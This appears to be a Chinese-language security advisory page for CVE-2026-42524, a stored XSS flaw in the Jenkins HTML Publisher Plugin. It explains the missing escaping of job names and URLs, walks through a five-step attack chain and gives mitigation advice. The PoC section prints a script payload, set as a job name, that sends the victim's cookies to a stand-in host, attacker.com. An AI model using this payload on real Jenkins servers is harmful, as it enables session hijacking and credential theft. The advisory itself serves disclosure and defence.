IPBUF安全漏洞报告
English
CVE-2026-42524 CVSS 8.0 高危

CVE-2026-42524 Jenkins HTML Publisher Plugin 存储型XSS漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2026-42524
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
8.0 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Jenkins HTML Publisher Plugin

相关标签

XSSJenkinsWeb安全存储型XSSCVE-2026-42524

漏洞概述

Jenkins HTML Publisher Plugin 427及更早版本在生成的旧版包装文件中未能正确转义任务名称和URL。这导致了一个存储型跨站脚本(XSS)漏洞。拥有Item/Configure权限的攻击者可以利用此漏洞注入恶意脚本,当其他用户访问受影响的页面时,恶意脚本将在其浏览器中执行,从而可能导致会话劫持或敏感信息泄露。

技术细节

该漏洞的根本原因在于Jenkins HTML Publisher Plugin在生成报告的HTML内容时,对特定上下文(legacy wrapper file)中的动态数据(如Job名称和URL)缺乏严格的输出编码。攻击者利用Item/Configure权限修改Jenkins任务的名称或相关URL配置,在其中注入JavaScript代码(例如`<script>alert(1)</script>`)。当插件生成HTML报告时,这些未经转义的字符直接被写入HTML文档中。由于是存储型XSS,恶意脚本持久化存储在服务器端。一旦拥有查看权限的用户或管理员访问该报告页面,浏览器就会解析并执行这些恶意脚本。攻击者可利用此漏洞窃取管理员Session ID、执行未授权操作或进行钓鱼攻击,从而完全控制Jenkins实例。

攻击链分析

STEP 1
步骤1
攻击者获取Jenkins项目的Item/Configure权限。
STEP 2
步骤2
攻击者修改项目名称或配置URL,注入恶意JavaScript代码。
STEP 3
步骤3
攻击者触发构建或等待HTML Publisher插件生成报告页面。
STEP 4
步骤4
受害者(如管理员)访问包含该报告的Jenkins页面。
STEP 5
步骤5
受害者浏览器解析未转义的恶意代码,脚本执行,攻击者窃取凭证或执行操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-42524: Stored XSS in Jenkins HTML Publisher Plugin * Prerequisite: Attacker needs 'Item/Configure' permission on a Jenkins job. */ // Step 1: Configure a Jenkins job (or rename existing one) // Set the Job Name to a malicious payload containing XSS. // Example Job Name: "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>" // Step 2: Configure the HTML Publisher Plugin to publish reports for this job. // Ensure the "Report Title" or other fields utilize the job name if necessary, // though the vulnerability specifically mentions escaping issues in the legacy wrapper file // related to job name/URL. // Step 3: Trigger a build to generate the report. // Step 4: An administrator or other user views the published HTML report. // The malicious script in the job name will execute in the victim's browser context.

影响范围

Jenkins HTML Publisher Plugin <= 427

防御指南

临时缓解措施
建议管理员立即检查并限制拥有项目配置权限的用户范围,仅授予可信人员该权限。在未升级插件前,应谨慎查看HTML Publisher插件发布的报告内容,并警惕不明来源的链接。最根本的缓解措施是尽快应用官方提供的安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表